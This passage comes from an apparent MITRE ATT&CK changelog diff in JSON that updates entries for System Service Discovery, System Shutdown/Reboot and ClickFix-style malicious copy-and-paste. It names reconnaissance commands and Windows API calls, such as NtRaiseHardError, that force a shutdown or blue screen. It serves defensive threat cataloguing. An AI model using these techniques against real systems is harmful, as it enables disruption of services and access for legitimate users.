information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)\\n\\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\", \"old_value\": \"Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\\n\\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\\n+Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)\\n \\n Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Aquasec Kinsing 2020\", \"description\": \"Gal Singer. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved May 22, 2025.\", \"url\": \"https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/\"}, \"root['external_references'][2]\": {\"source_name\": \"Elastic Security Labs GOSAR 2024\", \"description\": \"Jia Yu Chan, Salim Bitam, Daniel Stepanic, and Seth Goodwin. (2024, December 12). Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite. Retrieved May 22, 2025.\", \"url\": \"https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar\"}, \"root['external_references'][3]\": {\"source_name\": \"SentinelLabs macOS Malware 2021\", \"description\": \"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved May 22, 2025.\", \"url\": \"https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/\"}, \"root['external_references'][4]\": {\"source_name\": \"Splunk Linux Gormir 2024\", \"description\": \"Splunk Threat Research Team , Teoderick Contreras. (2024, July 15). Breaking Down Linux.Gomir: Understanding this Backdoor\\u2019s TTPs. Retrieved May 22, 2025.\", \"url\": \"https://www.splunk.com/en_us/blog/security/breaking-down-linux-gomir-understanding-this-backdoors-ttps.html\"}}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may try to gather information about registered lt1Adversaries may try to gather information about registered l
>ocal system services. Adversaries may obtain information abo>ocal system services. Adversaries may obtain information abo
>ut services using tools as well as OS utility commands such >ut services using tools as well as OS utility commands such 
>as <code>sc query</code>, <code>tasklist /svc</code>, <code>>as <code>sc query</code>, <code>tasklist /svc</code>, <code>
>systemctl --type=service</code>, and <code>net start</code>.>systemctl --type=service</code>, and <code>net start</code>.
>  Adversaries may use the information from [System Service D> Adversaries may also gather information about schedule task
>iscovery](https://attack.mitre.org/techniques/T1007) during >s via commands such as `schtasks` on Windows or `crontab -l`
>automated discovery to shape follow-on behaviors, including > on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2
>whether or not the adversary fully infects the target and/or>024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Sp
> attempts specific actions.>lunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)  Adv
 >ersaries may use the information from [System Service Discov
 >ery](https://attack.mitre.org/techniques/T1007) during autom
 >ated discovery to shape follow-on behaviors, including wheth
 >er or not the adversary fully infects the target and/or atte
 >mpts specific actions.
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0483: Detection of System Service Discovery Commands Across OS Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04 20:42:28.541000+00:00", + "modified": "2025-10-24 17:49:40.145000+00:00", + "name": "System Shutdown/Reboot", + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \u201cblue screen of death\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\n In some cases, the system may not be able to boot again. \n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1529", + "external_id": "T1529" + }, + { + "source_name": "Talos Nyetya June 2017", + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "source_name": "alert_TA18_106A", + "description": "CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/TA18-106A" + }, + { + "source_name": "NotMe-BSOD", + "description": "lzcapp. (n.d.). Retrieved September 22, 2025.", + "url": "https://github.com/lzcapp/NotMe-BSOD" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "source_name": "Microsoft Shutdown Oct 2017", + "description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown" + }, + { + "source_name": "NtRaiseHardError", + "description": "NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.", + "url": "https://ntdoc.m417z.com/ntraiseharderror" + }, + { + "source_name": "Unit42 Agrius 2023", + "description": "Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.", + "url": "https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/" + }, + { + "source_name": "SonicWall", + "description": "SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.", + "url": "https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant" + }, + { + "source_name": "CrowdStrike Blog", + "description": "William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon\u00ae Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.", + "url": "https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Austin Clark, @c2defense", + "Hubert Mank", + "Janantha Marasinghe" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Sensor Health: Host Status\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.145000+00:00\", \"old_value\": \"2025-04-15 19:59:24.950000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n\\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n\\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n In some cases, the system may not be able to boot again. \\n\\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\", \"old_value\": \"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n\\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n\\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,7 @@\\n \\n Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n \\n+Adversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n+ In some cases, the system may not be able to boot again. \\n+\\n Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the reload command.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"NotMe-BSOD\", \"description\": \"lzcapp. (n.d.). Retrieved September 22, 2025.\", \"url\": \"https://github.com/lzcapp/NotMe-BSOD\"}, \"root['external_references'][6]\": {\"source_name\": \"NtRaiseHardError\", \"description\": \"NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.\", \"url\": \"https://ntdoc.m417z.com/ntraiseharderror\"}, \"root['external_references'][7]\": {\"source_name\": \"Unit42 Agrius 2023\", \"description\": \"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.\", \"url\": \"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/\"}, \"root['external_references'][8]\": {\"source_name\": \"SonicWall\", \"description\": \"SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.\", \"url\": \"https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant\"}, \"root['external_references'][9]\": {\"source_name\": \"CrowdStrike Blog\", \"description\": \"William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon\\u00ae Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.\", \"url\": \"https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/\"}}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may shutdown/reboot systems to interrupt access t1Adversaries may shutdown/reboot systems to interrupt access 
>to, or aid in the destruction of, those systems. Operating s>to, or aid in the destruction of, those systems. Operating s
>ystems may contain commands to initiate a shutdown/reboot of>ystems may contain commands to initiate a shutdown/reboot of
> a machine or network device. In some cases, these commands > a machine or network device. In some cases, these commands 
>may also be used to initiate a shutdown/reboot of a remote c>may also be used to initiate a shutdown/reboot of a remote c
>omputer or network device via [Network Device CLI](https://a>omputer or network device via [Network Device CLI](https://a
>ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co>ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co
>de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert>de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert
>_TA18_106A) They may also include shutdown/reboot of a virtu>_TA18_106A) They may also include shutdown/reboot of a virtu
>al machine via hypervisor / cloud consoles or command line t>al machine via hypervisor / cloud consoles or command line t
>ools.  Shutting down or rebooting systems may disrupt access>ools.  Shutting down or rebooting systems may disrupt access
> to computer resources for legitimate users while also imped> to computer resources for legitimate users while also imped
>ing incident response/recovery.  Adversaries may attempt to >ing incident response/recovery.  Adversaries may also use Wi
>shutdown/reboot a system after impacting it in other ways, s>ndows API functions, such as `InitializeSystemShutdownExW` o
>uch as [Disk Structure Wipe](https://attack.mitre.org/techni>r `ExitWindowsEx`, to force a system to shut down or reboot.
>ques/T1561/002) or [Inhibit System Recovery](https://attack.>(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) A
>mitre.org/techniques/T1490), to hasten the intended effects >lternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Wi
>on system availability.(Citation: Talos Nyetya June 2017)(Ci>ndows API functions with the `ResponseOption` parameter set 
>tation: Talos Olympic Destroyer 2018)>to `OptionShutdownSystem` may deliver a \u201cblue screen of deat
 >h\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRais
 >eHardError)(Citation: NotMe-BSOD) In order to leverage these
 > API functions, an adversary may need to acquire `SeShutdown
 >Privilege` (e.g., via [Access Token Manipulation](https://at
 >tack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2
 >023)  In some cases, the system may not be able to boot agai
 >n.   Adversaries may attempt to shutdown/reboot a system aft
 >er impacting it in other ways, such as [Disk Structure Wipe]
 >(https://attack.mitre.org/techniques/T1561/002) or [Inhibit 
 >System Recovery](https://attack.mitre.org/techniques/T1490),
 > to hasten the intended effects on system availability.(Cita
 >tion: Talos Nyetya June 2017)(Citation: Talos Olympic Destro
 >yer 2018)
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0013: Sensor Health (Host Status)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0559: Multi-Platform Shutdown or Reboot Detection via Execution and Host Status Events" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e261a979-f354-41a8-963e-6cadac27c4bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-03-18 12:57:50.188000+00:00", + "modified": "2025-10-05 17:30:01.834000+00:00", + "name": "Malicious Copy and Paste", + "description": "An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions\u2014such as prompts to fix errors or complete CAPTCHAs\u2014that instead instruct the user to copy and paste malicious code.\n\nMalicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025)\n\nAdversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \"ClickFix\" strategy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024)\n\nTricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1204/004", + "external_id": "T1204.004" + }, + { + "source_name": "AhnLab Malicioys Copy Paste 2024", + "description": "AhnLab SEcurity intelligence Center. (2024, May 23). Warning Against Phishing Emails Prompting Execution of Commands via Paste (CTRL+V). Retrieved April 23, 2025.", + "url": "https://asec.ahnlab.com/en/73952/" + }, + { + "source_name": "AhnLab LummaC2 2025", + "description": "AhnLab SEcurity intelligence Center. (2025, January 8). Infostealer LummaC2 Spreading Through Fake CAPTCHA Verification Page. Retrieved April 23, 2025.", + "url": "https://asec.ahnlab.com/en/85699/" + }, + { + "source_name": "Reliaquest CAPTCHA 2024", + "description": "Alex Capraro. (2024, December 17). Using CAPTCHA for Compromise: Hackers Flip the Script. Retrieved March 18, 2025.", + "url": "https://www.reliaquest.com/blog/using-captcha-for-compromise/" + }, + { + "source_name": "Sekoia ClickFake 2025", + "description": "Amaury G., Coline Chavane, Felix Aim\u00e9 and Sekoia TDR. (2025, March 31). From Contagious to ClickFake Interview: Lazarus leveraging the ClickFix tactic. Retrieved April 1, 2025.", + "url": "https://blog.sekoia.io/clickfake-interview-campaign-by-lazarus/" + }, + { + "source_name": "CloudSEK Lumma Stealer 2024", + "description": "CloudSEK TRIAD. (2024, September 19). Unmasking the Danger: Lumma Stealer Malware Exploits Fake CAPTCHA Pages. Retrieved March 18, 2025.", + "url": "https://www.cloudsek.com/blog/unmasking-the-danger-lumma-stealer-malware-exploits-fake-captcha-pages" + }, + { + "source_name": "Proofpoint ClickFix 2024", + "description": "Tommy Madjar, Selena Larson and The Proofpoint Threat Research Team. (2024, November 18). Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape. Retrieved March 18, 2025.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Ale Houspanossian", + "Fernando Bacchin", + "Gabriel Currie", + "Harikrishnan Muthu, Cyble", + "Menachem Goldstein", + "ReliaQuest", + "SeungYoul Yoo, Ahn Lab" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"Process: Process Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-05 17:30:01.834000+00:00\", \"old_value\": \"2025-04-30 17:53:48.667000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). One such strategy is \\\"ClickFix,\\\" in which adversaries present users with seemingly helpful solutions\\u2014such as prompts to fix errors or complete CAPTCHAs\\u2014that instead instruct the user to copy and paste malicious code.\\n\\nMalicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025)\\n\\nAdversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \\\"ClickFix\\\" strategy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024)\\n\\nTricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files. \", \"old_value\": \"An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). \\n\\nMalicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025)\\n\\nAdversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024)\\n\\nTricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files. \", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n-An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). \\n+An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). One such strategy is \\\"ClickFix,\\\" in which adversaries present users with seemingly helpful solutions\\u2014such as prompts to fix errors or complete CAPTCHAs\\u2014that instead instruct the user to copy and paste malicious code.\\n \\n Malicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025)\\n \\n-Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024)\\n+Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \\\"ClickFix\\\" strategy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024)\\n \\n Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary may rely upon a user copying and pasting code it1An adversary may rely upon a user copying and pasting code i
>n order to gain execution. Users may be subjected to social >n order to gain execution. Users may be subjected to social 
>engineering to get them to copy and paste code directly into>engineering to get them to copy and paste code directly into
> a [Command and Scripting Interpreter](https://attack.mitre.> a [Command and Scripting Interpreter](https://attack.mitre.
>org/techniques/T1059).    Malicious websites, such as those >org/techniques/T1059). One such strategy is \"ClickFix,\" in w
